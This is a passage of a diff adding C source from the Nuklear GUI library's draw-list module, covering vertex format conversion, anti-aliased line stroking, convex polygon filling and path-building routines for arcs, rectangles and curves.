`nk_draw_index` as `nk_ushort` to safe space be default. + * + * So you reached the maximum number of indicies or rather vertexes. + * To solve this issue please change typdef `nk_draw_index` to `nk_uint` + * and don't forget to specify the new element size in your drawing + * backend (OpenGL, DirectX, ...). For example in OpenGL for `glDrawElements` + * instead of specifing `GL_UNSIGNED_SHORT` you have to define `GL_UNSIGNED_INT`. + * Sorry for the inconvenience. */ + if(sizeof(nk_draw_index)==2) NK_ASSERT((list->vertex_count < NK_USHORT_MAX && + "To many verticies for 16-bit vertex indicies. Please read comment above on how to solve this problem")); + return vtx; +} +NK_INTERN nk_draw_index* +nk_draw_list_alloc_elements(struct nk_draw_list *list, nk_size count) +{ + nk_draw_index *ids; + struct nk_draw_command *cmd; + NK_STORAGE const nk_size elem_align = NK_ALIGNOF(nk_draw_index); + NK_STORAGE const nk_size elem_size = sizeof(nk_draw_index); + NK_ASSERT(list); + if (!list) return 0; + + ids = (nk_draw_index*) + nk_buffer_alloc(list->elements, NK_BUFFER_FRONT, elem_size*count, elem_align); + if (!ids) return 0; + cmd = nk_draw_list_command_last(list); + list->element_count += (unsigned int)count; + cmd->elem_count += (unsigned int)count; + return ids; +} +NK_INTERN int +nk_draw_vertex_layout_element_is_end_of_layout( + const struct nk_draw_vertex_layout_element *element) +{ + return (element->attribute == NK_VERTEX_ATTRIBUTE_COUNT || + element->format == NK_FORMAT_COUNT); +} +NK_INTERN void +nk_draw_vertex_color(void *attr, const float *vals, + enum nk_draw_vertex_layout_format format) +{ + /* if this triggers you tried to provide a value format for a color */ + float val[4]; + NK_ASSERT(format >= NK_FORMAT_COLOR_BEGIN); + NK_ASSERT(format <= NK_FORMAT_COLOR_END); + if (format < NK_FORMAT_COLOR_BEGIN || format > NK_FORMAT_COLOR_END) return; + + val[0] = NK_SATURATE(vals[0]); + val[1] = NK_SATURATE(vals[1]); + val[2] = NK_SATURATE(vals[2]); + val[3] = NK_SATURATE(vals[3]); + + switch (format) { + default: NK_ASSERT(0 && "Invalid vertex layout color format"); break; + case NK_FORMAT_R8G8B8A8: + case NK_FORMAT_R8G8B8: { + struct nk_color col = nk_rgba_fv(val); + NK_MEMCPY(attr, &col.r, sizeof(col)); + } break; + case NK_FORMAT_B8G8R8A8: { + struct nk_color col = nk_rgba_fv(val); + struct nk_color bgra = nk_rgba(col.b, col.g, col.r, col.a); + NK_MEMCPY(attr, &bgra, sizeof(bgra)); + } break; + case NK_FORMAT_R16G15B16: { + nk_ushort col[3]; + col[0] = (nk_ushort)(val[0]*(float)NK_USHORT_MAX); + col[1] = (nk_ushort)(val[1]*(float)NK_USHORT_MAX); + col[2] = (nk_ushort)(val[2]*(float)NK_USHORT_MAX); + NK_MEMCPY(attr, col, sizeof(col)); + } break; + case NK_FORMAT_R16G15B16A16: { + nk_ushort col[4]; + col[0] = (nk_ushort)(val[0]*(float)NK_USHORT_MAX); + col[1] = (nk_ushort)(val[1]*(float)NK_USHORT_MAX); + col[2] = (nk_ushort)(val[2]*(float)NK_USHORT_MAX); + col[3] = (nk_ushort)(val[3]*(float)NK_USHORT_MAX); + NK_MEMCPY(attr, col, sizeof(col)); + } break; + case NK_FORMAT_R32G32B32: { + nk_uint col[3]; + col[0] = (nk_uint)(val[0]*(float)NK_UINT_MAX); + col[1] = (nk_uint)(val[1]*(float)NK_UINT_MAX); + col[2] = (nk_uint)(val[2]*(float)NK_UINT_MAX); + NK_MEMCPY(attr, col, sizeof(col)); + } break; + case NK_FORMAT_R32G32B32A32: { + nk_uint col[4]; + col[0] = (nk_uint)(val[0]*(float)NK_UINT_MAX); + col[1] = (nk_uint)(val[1]*(float)NK_UINT_MAX); + col[2] = (nk_uint)(val[2]*(float)NK_UINT_MAX); + col[3] = (nk_uint)(val[3]*(float)NK_UINT_MAX); + NK_MEMCPY(attr, col, sizeof(col)); + } break; + case NK_FORMAT_R32G32B32A32_FLOAT: + NK_MEMCPY(attr, val, sizeof(float)*4); + break; + case NK_FORMAT_R32G32B32A32_DOUBLE: { + double col[4]; + col[0] = (double)val[0]; + col[1] = (double)val[1]; + col[2] = (double)val[2]; + col[3] = (double)val[3]; + NK_MEMCPY(attr, col, sizeof(col)); + } break; + case NK_FORMAT_RGB32: + case NK_FORMAT_RGBA32: { + struct nk_color col = nk_rgba_fv(val); + nk_uint color = nk_color_u32(col); + NK_MEMCPY(attr, &color, sizeof(color)); + } break; } +} +NK_INTERN void +nk_draw_vertex_element(void *dst, const float *values, int value_count, + enum nk_draw_vertex_layout_format format) +{ + int value_index; + void *attribute = dst; + /* if this triggers you tried to provide a color format for a value */ + NK_ASSERT(format < NK_FORMAT_COLOR_BEGIN); + if (format >= NK_FORMAT_COLOR_BEGIN && format <= NK_FORMAT_COLOR_END) return; + for (value_index = 0; value_index < value_count; ++value_index) { + switch (format) { + default: NK_ASSERT(0 && "invalid vertex layout format"); break; + case NK_FORMAT_SCHAR: { + char value = (char)NK_CLAMP((float)NK_SCHAR_MIN, values[value_index], (float)NK_SCHAR_MAX); + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(char)); + } break; + case NK_FORMAT_SSHORT: { + nk_short value = (nk_short)NK_CLAMP((float)NK_SSHORT_MIN, values[value_index], (float)NK_SSHORT_MAX); + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(value)); + } break; + case NK_FORMAT_SINT: { + nk_int value = (nk_int)NK_CLAMP((float)NK_SINT_MIN, values[value_index], (float)NK_SINT_MAX); + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(nk_int)); + } break; + case NK_FORMAT_UCHAR: { + unsigned char value = (unsigned char)NK_CLAMP((float)NK_UCHAR_MIN, values[value_index], (float)NK_UCHAR_MAX); + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(unsigned char)); + } break; + case NK_FORMAT_USHORT: { + nk_ushort value = (nk_ushort)NK_CLAMP((float)NK_USHORT_MIN, values[value_index], (float)NK_USHORT_MAX); + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(value)); + } break; + case NK_FORMAT_UINT: { + nk_uint value = (nk_uint)NK_CLAMP((float)NK_UINT_MIN, values[value_index], (float)NK_UINT_MAX); + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(nk_uint)); + } break; + case NK_FORMAT_FLOAT: + NK_MEMCPY(attribute, &values[value_index], sizeof(values[value_index])); + attribute = (void*)((char*)attribute + sizeof(float)); + break; + case NK_FORMAT_DOUBLE: { + double value = (double)values[value_index]; + NK_MEMCPY(attribute, &value, sizeof(value)); + attribute = (void*)((char*)attribute + sizeof(double)); + } break; + } + } +} +NK_INTERN void* +nk_draw_vertex(void *dst, const struct nk_convert_config *config, + struct nk_vec2 pos, struct nk_vec2 uv, struct nk_colorf color) +{ + void *result = (void*)((char*)dst + config->vertex_size); + const struct nk_draw_vertex_layout_element *elem_iter = config->vertex_layout; + while (!nk_draw_vertex_layout_element_is_end_of_layout(elem_iter)) { + void *address = (void*)((char*)dst + elem_iter->offset); + switch (elem_iter->attribute) { + case NK_VERTEX_ATTRIBUTE_COUNT: + default: NK_ASSERT(0 && "wrong element attribute"); break; + case NK_VERTEX_POSITION: nk_draw_vertex_element(address, &pos.x, 2, elem_iter->format); break; + case NK_VERTEX_TEXCOORD: nk_draw_vertex_element(address, &uv.x, 2, elem_iter->format); break; + case NK_VERTEX_COLOR: nk_draw_vertex_color(address, &color.r, elem_iter->format); break; + } + elem_iter++; + } + return result; +} +NK_API void +nk_draw_list_stroke_poly_line(struct nk_draw_list *list, const struct nk_vec2 *points, + const unsigned int points_count, struct nk_color color, enum nk_draw_list_stroke closed, + float thickness, enum nk_anti_aliasing aliasing) +{ + nk_size count; + int thick_line; + struct nk_colorf col; + struct nk_colorf col_trans; + NK_ASSERT(list); + if (!list || points_count < 2) return; + + color.a = (nk_byte)((float)color.a * list->config.global_alpha); + count = points_count; + if (!closed) count = points_count-1; + thick_line = thickness > 1.0f; + +#ifdef NK_INCLUDE_COMMAND_USERDATA + nk_draw_list_push_userdata(list, list->userdata); +#endif + + color.a = (nk_byte)((float)color.a * list->config.global_alpha); + nk_color_fv(&col.r, color); + col_trans = col; + col_trans.a = 0; + + if (aliasing == NK_ANTI_ALIASING_ON) { + /* ANTI-ALIASED STROKE */ + const float AA_SIZE = 1.0f; + NK_STORAGE const nk_size pnt_align = NK_ALIGNOF(struct nk_vec2); + NK_STORAGE const nk_size pnt_size = sizeof(struct nk_vec2); + + /* allocate vertices and elements */ + nk_size i1 = 0; + nk_size vertex_offset; + nk_size index = list->vertex_count; + + const nk_size idx_count = (thick_line) ? (count * 18) : (count * 12); + const nk_size vtx_count = (thick_line) ? (points_count * 4): (points_count *3); + + void *vtx = nk_draw_list_alloc_vertices(list, vtx_count); + nk_draw_index *ids = nk_draw_list_alloc_elements(list, idx_count); + + nk_size size; + struct nk_vec2 *normals, *temp; + if (!vtx || !ids) return; + + /* temporary allocate normals + points */ + vertex_offset = (nk_size)((nk_byte*)vtx - (nk_byte*)list->vertices->memory.ptr); + nk_buffer_mark(list->vertices, NK_BUFFER_FRONT); + size = pnt_size * ((thick_line) ? 5 : 3) * points_count; + normals = (struct nk_vec2*) nk_buffer_alloc(list->vertices, NK_BUFFER_FRONT, size, pnt_align); + if (!normals) return; + temp = normals + points_count; + + /* make sure vertex pointer is still correct */ + vtx = (void*)((nk_byte*)list->vertices->memory.ptr + vertex_offset); + + /* calculate normals */ + for (i1 = 0; i1 < count; ++i1) { + const nk_size i2 = ((i1 + 1) == points_count) ? 0 : (i1 + 1); + struct nk_vec2 diff = nk_vec2_sub(points[i2], points[i1]); + float len; + + /* vec2 inverted length */ + len = nk_vec2_len_sqr(diff); + if (len != 0.0f) + len = nk_inv_sqrt(len); + else len = 1.0f; + + diff = nk_vec2_muls(diff, len); + normals[i1].x = diff.y; + normals[i1].y = -diff.x; + } + + if (!closed) + normals[points_count-1] = normals[points_count-2]; + + if (!thick_line) { + nk_size idx1, i; + if (!closed) { + struct nk_vec2 d; + temp[0] = nk_vec2_add(points[0], nk_vec2_muls(normals[0], AA_SIZE)); + temp[1] = nk_vec2_sub(points[0], nk_vec2_muls(normals[0], AA_SIZE)); + d = nk_vec2_muls(normals[points_count-1], AA_SIZE); + temp[(points_count-1) * 2 + 0] = nk_vec2_add(points[points_count-1], d); + temp[(points_count-1) * 2 + 1] = nk_vec2_sub(points[points_count-1], d); + } + + /* fill elements */ + idx1 = index; + for (i1 = 0; i1 < count; i1++) { + struct nk_vec2 dm; + float dmr2; + nk_size i2 = ((i1 + 1) == points_count) ? 0 : (i1 + 1); + nk_size idx2 = ((i1+1) == points_count) ? index: (idx1 + 3); + + /* average normals */ + dm = nk_vec2_muls(nk_vec2_add(normals[i1], normals[i2]), 0.5f); + dmr2 = dm.x * dm.x + dm.y* dm.y; + if (dmr2 > 0.000001f) { + float scale = 1.0f/dmr2; + scale = NK_MIN(100.0f, scale); + dm = nk_vec2_muls(dm, scale); + } + + dm = nk_vec2_muls(dm, AA_SIZE); + temp[i2*2+0] = nk_vec2_add(points[i2], dm); + temp[i2*2+1] = nk_vec2_sub(points[i2], dm); + + ids[0] = (nk_draw_index)(idx2 + 0); ids[1] = (nk_draw_index)(idx1+0); + ids[2] = (nk_draw_index)(idx1 + 2); ids[3] = (nk_draw_index)(idx1+2); + ids[4] = (nk_draw_index)(idx2 + 2); ids[5] = (nk_draw_index)(idx2+0); + ids[6] = (nk_draw_index)(idx2 + 1); ids[7] = (nk_draw_index)(idx1+1); + ids[8] = (nk_draw_index)(idx1 + 0); ids[9] = (nk_draw_index)(idx1+0); + ids[10]= (nk_draw_index)(idx2 + 0); ids[11]= (nk_draw_index)(idx2+1); + ids += 12; + idx1 = idx2; + } + + /* fill vertices */ + for (i = 0; i < points_count; ++i) { + const struct nk_vec2 uv = list->config.null.uv; + vtx = nk_draw_vertex(vtx, &list->config, points[i], uv, col); + vtx = nk_draw_vertex(vtx, &list->config, temp[i*2+0], uv, col_trans); + vtx = nk_draw_vertex(vtx, &list->config, temp[i*2+1], uv, col_trans); + } + } else { + nk_size idx1, i; + const float half_inner_thickness = (thickness - AA_SIZE) * 0.5f; + if (!closed) { + struct nk_vec2 d1 = nk_vec2_muls(normals[0], half_inner_thickness + AA_SIZE); + struct nk_vec2 d2 = nk_vec2_muls(normals[0], half_inner_thickness); + + temp[0] = nk_vec2_add(points[0], d1); + temp[1] = nk_vec2_add(points[0], d2); + temp[2] = nk_vec2_sub(points[0], d2); + temp[3] = nk_vec2_sub(points[0], d1); + + d1 = nk_vec2_muls(normals[points_count-1], half_inner_thickness + AA_SIZE); + d2 = nk_vec2_muls(normals[points_count-1], half_inner_thickness); + + temp[(points_count-1)*4+0] = nk_vec2_add(points[points_count-1], d1); + temp[(points_count-1)*4+1] = nk_vec2_add(points[points_count-1], d2); + temp[(points_count-1)*4+2] = nk_vec2_sub(points[points_count-1], d2); + temp[(points_count-1)*4+3] = nk_vec2_sub(points[points_count-1], d1); + } + + /* add all elements */ + idx1 = index; + for (i1 = 0; i1 < count; ++i1) { + struct nk_vec2 dm_out, dm_in; + const nk_size i2 = ((i1+1) == points_count) ? 0: (i1 + 1); + nk_size idx2 = ((i1+1) == points_count) ? index: (idx1 + 4); + + /* average normals */ + struct nk_vec2 dm = nk_vec2_muls(nk_vec2_add(normals[i1], normals[i2]), 0.5f); + float dmr2 = dm.x * dm.x + dm.y* dm.y; + if (dmr2 > 0.000001f) { + float scale = 1.0f/dmr2; + scale = NK_MIN(100.0f, scale); + dm = nk_vec2_muls(dm, scale); + } + + dm_out = nk_vec2_muls(dm, ((half_inner_thickness) + AA_SIZE)); + dm_in = nk_vec2_muls(dm, half_inner_thickness); + temp[i2*4+0] = nk_vec2_add(points[i2], dm_out); + temp[i2*4+1] = nk_vec2_add(points[i2], dm_in); + temp[i2*4+2] = nk_vec2_sub(points[i2], dm_in); + temp[i2*4+3] = nk_vec2_sub(points[i2], dm_out); + + /* add indexes */ + ids[0] = (nk_draw_index)(idx2 + 1); ids[1] = (nk_draw_index)(idx1+1); + ids[2] = (nk_draw_index)(idx1 + 2); ids[3] = (nk_draw_index)(idx1+2); + ids[4] = (nk_draw_index)(idx2 + 2); ids[5] = (nk_draw_index)(idx2+1); + ids[6] = (nk_draw_index)(idx2 + 1); ids[7] = (nk_draw_index)(idx1+1); + ids[8] = (nk_draw_index)(idx1 + 0); ids[9] = (nk_draw_index)(idx1+0); + ids[10]= (nk_draw_index)(idx2 + 0); ids[11] = (nk_draw_index)(idx2+1); + ids[12]= (nk_draw_index)(idx2 + 2); ids[13] = (nk_draw_index)(idx1+2); + ids[14]= (nk_draw_index)(idx1 + 3); ids[15] = (nk_draw_index)(idx1+3); + ids[16]= (nk_draw_index)(idx2 + 3); ids[17] = (nk_draw_index)(idx2+2); + ids += 18; + idx1 = idx2; + } + + /* add vertices */ + for (i = 0; i < points_count; ++i) { + const struct nk_vec2 uv = list->config.null.uv; + vtx = nk_draw_vertex(vtx, &list->config, temp[i*4+0], uv, col_trans); + vtx = nk_draw_vertex(vtx, &list->config, temp[i*4+1], uv, col); + vtx = nk_draw_vertex(vtx, &list->config, temp[i*4+2], uv, col); + vtx = nk_draw_vertex(vtx, &list->config, temp[i*4+3], uv, col_trans); + } + } + /* free temporary normals + points */ + nk_buffer_reset(list->vertices, NK_BUFFER_FRONT); + } else { + /* NON ANTI-ALIASED STROKE */ + nk_size i1 = 0; + nk_size idx = list->vertex_count; + const nk_size idx_count = count * 6; + const nk_size vtx_count = count * 4; + void *vtx = nk_draw_list_alloc_vertices(list, vtx_count); + nk_draw_index *ids = nk_draw_list_alloc_elements(list, idx_count); + if (!vtx || !ids) return; + + for (i1 = 0; i1 < count; ++i1) { + float dx, dy; + const struct nk_vec2 uv = list->config.null.uv; + const nk_size i2 = ((i1+1) == points_count) ? 0 : i1 + 1; + const struct nk_vec2 p1 = points[i1]; + const struct nk_vec2 p2 = points[i2]; + struct nk_vec2 diff = nk_vec2_sub(p2, p1); + float len; + + /* vec2 inverted length */ + len = nk_vec2_len_sqr(diff); + if (len != 0.0f) + len = nk_inv_sqrt(len); + else len = 1.0f; + diff = nk_vec2_muls(diff, len); + + /* add vertices */ + dx = diff.x * (thickness * 0.5f); + dy = diff.y * (thickness * 0.5f); + + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(p1.x + dy, p1.y - dx), uv, col); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(p2.x + dy, p2.y - dx), uv, col); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(p2.x - dy, p2.y + dx), uv, col); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(p1.x - dy, p1.y + dx), uv, col); + + ids[0] = (nk_draw_index)(idx+0); ids[1] = (nk_draw_index)(idx+1); + ids[2] = (nk_draw_index)(idx+2); ids[3] = (nk_draw_index)(idx+0); + ids[4] = (nk_draw_index)(idx+2); ids[5] = (nk_draw_index)(idx+3); + + ids += 6; + idx += 4; + } + } +} +NK_API void +nk_draw_list_fill_poly_convex(struct nk_draw_list *list, + const struct nk_vec2 *points, const unsigned int points_count, + struct nk_color color, enum nk_anti_aliasing aliasing) +{ + struct nk_colorf col; + struct nk_colorf col_trans; + + NK_STORAGE const nk_size pnt_align = NK_ALIGNOF(struct nk_vec2); + NK_STORAGE const nk_size pnt_size = sizeof(struct nk_vec2); + NK_ASSERT(list); + if (!list || points_count < 3) return; + +#ifdef NK_INCLUDE_COMMAND_USERDATA + nk_draw_list_push_userdata(list, list->userdata); +#endif + + color.a = (nk_byte)((float)color.a * list->config.global_alpha); + nk_color_fv(&col.r, color); + col_trans = col; + col_trans.a = 0; + + if (aliasing == NK_ANTI_ALIASING_ON) { + nk_size i = 0; + nk_size i0 = 0; + nk_size i1 = 0; + + const float AA_SIZE = 1.0f; + nk_size vertex_offset = 0; + nk_size index = list->vertex_count; + + const nk_size idx_count = (points_count-2)*3 + points_count*6; + const nk_size vtx_count = (points_count*2); + + void *vtx = nk_draw_list_alloc_vertices(list, vtx_count); + nk_draw_index *ids = nk_draw_list_alloc_elements(list, idx_count); + + nk_size size = 0; + struct nk_vec2 *normals = 0; + unsigned int vtx_inner_idx = (unsigned int)(index + 0); + unsigned int vtx_outer_idx = (unsigned int)(index + 1); + if (!vtx || !ids) return; + + /* temporary allocate normals */ + vertex_offset = (nk_size)((nk_byte*)vtx - (nk_byte*)list->vertices->memory.ptr); + nk_buffer_mark(list->vertices, NK_BUFFER_FRONT); + size = pnt_size * points_count; + normals = (struct nk_vec2*) nk_buffer_alloc(list->vertices, NK_BUFFER_FRONT, size, pnt_align); + if (!normals) return; + vtx = (void*)((nk_byte*)list->vertices->memory.ptr + vertex_offset); + + /* add elements */ + for (i = 2; i < points_count; i++) { + ids[0] = (nk_draw_index)(vtx_inner_idx); + ids[1] = (nk_draw_index)(vtx_inner_idx + ((i-1) << 1)); + ids[2] = (nk_draw_index)(vtx_inner_idx + (i << 1)); + ids += 3; + } + + /* compute normals */ + for (i0 = points_count-1, i1 = 0; i1 < points_count; i0 = i1++) { + struct nk_vec2 p0 = points[i0]; + struct nk_vec2 p1 = points[i1]; + struct nk_vec2 diff = nk_vec2_sub(p1, p0); + + /* vec2 inverted length */ + float len = nk_vec2_len_sqr(diff); + if (len != 0.0f) + len = nk_inv_sqrt(len); + else len = 1.0f; + diff = nk_vec2_muls(diff, len); + + normals[i0].x = diff.y; + normals[i0].y = -diff.x; + } + + /* add vertices + indexes */ + for (i0 = points_count-1, i1 = 0; i1 < points_count; i0 = i1++) { + const struct nk_vec2 uv = list->config.null.uv; + struct nk_vec2 n0 = normals[i0]; + struct nk_vec2 n1 = normals[i1]; + struct nk_vec2 dm = nk_vec2_muls(nk_vec2_add(n0, n1), 0.5f); + float dmr2 = dm.x*dm.x + dm.y*dm.y; + if (dmr2 > 0.000001f) { + float scale = 1.0f / dmr2; + scale = NK_MIN(scale, 100.0f); + dm = nk_vec2_muls(dm, scale); + } + dm = nk_vec2_muls(dm, AA_SIZE * 0.5f); + + /* add vertices */ + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2_sub(points[i1], dm), uv, col); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2_add(points[i1], dm), uv, col_trans); + + /* add indexes */ + ids[0] = (nk_draw_index)(vtx_inner_idx+(i1<<1)); + ids[1] = (nk_draw_index)(vtx_inner_idx+(i0<<1)); + ids[2] = (nk_draw_index)(vtx_outer_idx+(i0<<1)); + ids[3] = (nk_draw_index)(vtx_outer_idx+(i0<<1)); + ids[4] = (nk_draw_index)(vtx_outer_idx+(i1<<1)); + ids[5] = (nk_draw_index)(vtx_inner_idx+(i1<<1)); + ids += 6; + } + /* free temporary normals + points */ + nk_buffer_reset(list->vertices, NK_BUFFER_FRONT); + } else { + nk_size i = 0; + nk_size index = list->vertex_count; + const nk_size idx_count = (points_count-2)*3; + const nk_size vtx_count = points_count; + void *vtx = nk_draw_list_alloc_vertices(list, vtx_count); + nk_draw_index *ids = nk_draw_list_alloc_elements(list, idx_count); + + if (!vtx || !ids) return; + for (i = 0; i < vtx_count; ++i) + vtx = nk_draw_vertex(vtx, &list->config, points[i], list->config.null.uv, col); + for (i = 2; i < points_count; ++i) { + ids[0] = (nk_draw_index)index; + ids[1] = (nk_draw_index)(index+ i - 1); + ids[2] = (nk_draw_index)(index+i); + ids += 3; + } + } +} +NK_API void +nk_draw_list_path_clear(struct nk_draw_list *list) +{ + NK_ASSERT(list); + if (!list) return; + nk_buffer_reset(list->buffer, NK_BUFFER_FRONT); + list->path_count = 0; + list->path_offset = 0; +} +NK_API void +nk_draw_list_path_line_to(struct nk_draw_list *list, struct nk_vec2 pos) +{ + struct nk_vec2 *points = 0; + struct nk_draw_command *cmd = 0; + NK_ASSERT(list); + if (!list) return; + if (!list->cmd_count) + nk_draw_list_add_clip(list, nk_null_rect); + + cmd = nk_draw_list_command_last(list); + if (cmd && cmd->texture.ptr != list->config.null.texture.ptr) + nk_draw_list_push_image(list, list->config.null.texture); + + points = nk_draw_list_alloc_path(list, 1); + if (!points) return; + points[0] = pos; +} +NK_API void +nk_draw_list_path_arc_to_fast(struct nk_draw_list *list, struct nk_vec2 center, + float radius, int a_min, int a_max) +{ + int a = 0; + NK_ASSERT(list); + if (!list) return; + if (a_min <= a_max) { + for (a = a_min; a <= a_max; a++) { + const struct nk_vec2 c = list->circle_vtx[(nk_size)a % NK_LEN(list->circle_vtx)]; + const float x = center.x + c.x * radius; + const float y = center.y + c.y * radius; + nk_draw_list_path_line_to(list, nk_vec2(x, y)); + } + } +} +NK_API void +nk_draw_list_path_arc_to(struct nk_draw_list *list, struct nk_vec2 center, + float radius, float a_min, float a_max, unsigned int segments) +{ + unsigned int i = 0; + NK_ASSERT(list); + if (!list) return; + if (radius == 0.0f) return; + + /* This algorithm for arc drawing relies on these two trigonometric identities[1]: + sin(a + b) = sin(a) * cos(b) + cos(a) * sin(b) + cos(a + b) = cos(a) * cos(b) - sin(a) * sin(b) + + Two coordinates (x, y) of a point on a circle centered on + the origin can be written in polar form as: + x = r * cos(a) + y = r * sin(a) + where r is the radius of the circle, + a is the angle between (x, y) and the origin. + + This allows us to rotate the coordinates around the + origin by an angle b using the following transformation: + x' = r * cos(a + b) = x * cos(b) - y * sin(b) + y' = r * sin(a + b) = y * cos(b) + x * sin(b) + + [1] https://en.wikipedia.org/wiki/List_of_trigonometric_identities#Angle_sum_and_difference_identities + */ + {const float d_angle = (a_max - a_min) / (float)segments; + const float sin_d = (float)NK_SIN(d_angle); + const float cos_d = (float)NK_COS(d_angle); + + float cx = (float)NK_COS(a_min) * radius; + float cy = (float)NK_SIN(a_min) * radius; + for(i = 0; i <= segments; ++i) { + float new_cx, new_cy; + const float x = center.x + cx; + const float y = center.y + cy; + nk_draw_list_path_line_to(list, nk_vec2(x, y)); + + new_cx = cx * cos_d - cy * sin_d; + new_cy = cy * cos_d + cx * sin_d; + cx = new_cx; + cy = new_cy; + }} +} +NK_API void +nk_draw_list_path_rect_to(struct nk_draw_list *list, struct nk_vec2 a, + struct nk_vec2 b, float rounding) +{ + float r; + NK_ASSERT(list); + if (!list) return; + r = rounding; + r = NK_MIN(r, ((b.x-a.x) < 0) ? -(b.x-a.x): (b.x-a.x)); + r = NK_MIN(r, ((b.y-a.y) < 0) ? -(b.y-a.y): (b.y-a.y)); + + if (r == 0.0f) { + nk_draw_list_path_line_to(list, a); + nk_draw_list_path_line_to(list, nk_vec2(b.x,a.y)); + nk_draw_list_path_line_to(list, b); + nk_draw_list_path_line_to(list, nk_vec2(a.x,b.y)); + } else { + nk_draw_list_path_arc_to_fast(list, nk_vec2(a.x + r, a.y + r), r, 6, 9); + nk_draw_list_path_arc_to_fast(list, nk_vec2(b.x - r, a.y + r), r, 9, 12); + nk_draw_list_path_arc_to_fast(list, nk_vec2(b.x - r, b.y - r), r, 0, 3); + nk_draw_list_path_arc_to_fast(list, nk_vec2(a.x + r, b.y - r), r, 3, 6); + } +} +NK_API void +nk_draw_list_path_curve_to(struct nk_draw_list *list, struct nk_vec2 p2, + struct nk_vec2 p3, struct nk_vec2 p4, unsigned int num_segments) +{ + float t_step; + unsigned int i_step; + struct nk_vec2 p1; + + NK_ASSERT(list); + NK_ASSERT(list->path_count); + if (!list || !list->path_count) return; + num_segments = NK_MAX(num_segments, 1); + + p1 = nk_draw_list_path_last(list); + t_step = 1.0f/(float)num_segments; + for (i_step = 1; i_step <= num_segments; ++i_step) { + float t = t_step * (float)i_step; + float u = 1.0f - t; + float w1 = u*u*u; + float w2 = 3*u*u*t; + float w3 = 3*u*t*t; + float w4 = t * t *t; + float x = w1 * p1.x + w2 * p2.x + w3 * p3.x + w4 * p4.x; + float y = w1 * p1.y + w2 * p2.y + w3 * p3.y + w4 * p4.y; + nk_draw_list_path_line_to(list, nk_vec2(x,y)); + } +} +NK_API void +nk_draw_list_path_fill(struct nk_draw_list *list, struct nk_color color) +{ + struct nk_vec2 *points; + NK_ASSERT(list); + if (!list) return; + points = (struct nk_vec2*)nk_buffer_memory(list->buffer); + nk_draw_list_fill_poly_convex(list, points, list->path_count, color, list->config.shape_AA); + nk_draw_list_path_clear(list); +} +NK_API void +nk_draw_list_path_stroke(struct nk_draw_list *list, struct nk_color color, + enum nk_draw_list_stroke closed, float thickness) +{ + struct nk_vec2 *points; + NK_ASSERT(list); + if (!list) return; + points = (struct nk_vec2*)nk_buffer_memory(list->buffer); + nk_draw_list_stroke_poly_line(list, points, list->path_count, color, + closed, thickness, list->config.line_AA); + nk_draw_list_path_clear(list); +} +NK_API void +nk_draw_list_stroke_line(struct nk_draw_list *list, struct nk_vec2 a, + struct nk_vec2 b, struct nk_color col, float thickness) +{ + NK_ASSERT(list); + if (!list || !col.a) return; + if (list->line_AA == NK_ANTI_ALIASING_ON) { + nk_draw_list_path_line_to(list, a); + nk_draw_list_path_line_to(list, b); + } else { + nk_draw_list_path_line_to(list, nk_vec2_sub(a,nk_vec2(0.5f,0.5f))); + nk_draw_list_path_line_to(list, nk_vec2_sub(b,nk_vec2(0.5f,0.5f))); + } + nk_draw_list_path_stroke(list, col, NK_STROKE_OPEN, thickness); +} +NK_API void +nk_draw_list_fill_rect(struct nk_draw_list *list, struct nk_rect rect, + struct nk_color col, float rounding) +{ + NK_ASSERT(list); + if (!list || !col.a) return; + + if (list->line_AA == NK_ANTI_ALIASING_ON) { + nk_draw_list_path_rect_to(list, nk_vec2(rect.x, rect.y), + nk_vec2(rect.x + rect.w, rect.y + rect.h), rounding); + } else { + nk_draw_list_path_rect_to(list, nk_vec2(rect.x-0.5f, rect.y-0.5f), + nk_vec2(rect.x + rect.w, rect.y + rect.h), rounding); + } nk_draw_list_path_fill(list, col); +} +NK_API void +nk_draw_list_stroke_rect(struct nk_draw_list *list, struct nk_rect rect, + struct nk_color col, float rounding, float thickness) +{ + NK_ASSERT(list); + if (!list || !col.a) return; + if (list->line_AA == NK_ANTI_ALIASING_ON) { + nk_draw_list_path_rect_to(list, nk_vec2(rect.x, rect.y), + nk_vec2(rect.x + rect.w, rect.y + rect.h), rounding); + } else { + nk_draw_list_path_rect_to(list, nk_vec2(rect.x-0.5f, rect.y-0.5f), + nk_vec2(rect.x + rect.w, rect.y + rect.h), rounding); + } nk_draw_list_path_stroke(list, col, NK_STROKE_CLOSED, thickness); +} +NK_API void +nk_draw_list_fill_rect_multi_color(struct nk_draw_list *list, struct nk_rect rect, + struct nk_color left, struct nk_color top, struct nk_color right, + struct nk_color bottom) +{ + void *vtx; + struct nk_colorf col_left, col_top; + struct nk_colorf col_right, col_bottom; + nk_draw_index *idx; + nk_draw_index index; + + nk_color_fv(&col_left.r, left); + nk_color_fv(&col_right.r, right); + nk_color_fv(&col_top.r, top); + nk_color_fv(&col_bottom.r, bottom); + + NK_ASSERT(list); + if (!list) return; + + nk_draw_list_push_image(list, list->config.null.texture); + index = (nk_draw_index)list->vertex_count; + vtx = nk_draw_list_alloc_vertices(list, 4); + idx = nk_draw_list_alloc_elements(list, 6); + if (!vtx || !idx) return; + + idx[0] = (nk_draw_index)(index+0); idx[1] = (nk_draw_index)(index+1); + idx[2] = (nk_draw_index)(index+2); idx[3] = (nk_draw_index)(index+0); + idx[4] = (nk_draw_index)(index+2); idx[5] = (nk_draw_index)(index+3); + + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(rect.x, rect.y), list->config.null.uv, col_left); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(rect.x + rect.w, rect.y), list->config.null.uv, col_top); + vtx = nk_draw_vertex(vtx, &list->config, nk_vec2(rect.x + 